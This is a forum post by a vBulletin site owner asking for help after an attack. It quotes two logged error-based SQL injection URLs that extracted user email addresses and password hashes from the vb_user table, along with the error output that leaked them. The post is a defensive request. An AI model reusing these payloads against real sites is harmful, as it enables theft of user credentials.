[stryka]

I have a customized page that uses the VB Backend... just got a ton of errors from an IP that i blocked and realized they were trying to fish for passwords and hash values from my vb_user db... can someone take a look at the query and see what else was done... two queries were repeated 1 after the next

query 1

http://sitename.com/script.php?id=100%27%20and(select 1 from(select count(*),concat((select (select (SELECT concat(0x7e,0x27,vb_user.email,0x27,0x7e) FROM `islandm_vbbackup`.vb_user LIMIT 68,1) ) from information_schema.tables limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a) and '1'='1';

This returned errror with email address: Duplicate entry '~'emailaddy@email.com'~1' for key 'group_key'

query 2
http://sitename.com/script.php?id=100%27%20andand(select 1 from(select count(*),concat((select (select (SELECT concat(0x7e,0x27,vb_user.password,0x27,0x7e) FROM `islandm_vbbackup`.vb_user LIMIT 68,1) ) from information_schema.tables limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a) and '1'='1';

This returned errror with what looks like has value: Duplicate entry ~'d81xxxb29cb129179c0eed59ab6c2'~1' for key 'group_key'

have to get my developer involved.. not sure what to advise him.... any ideas how/where i can shut this activity down?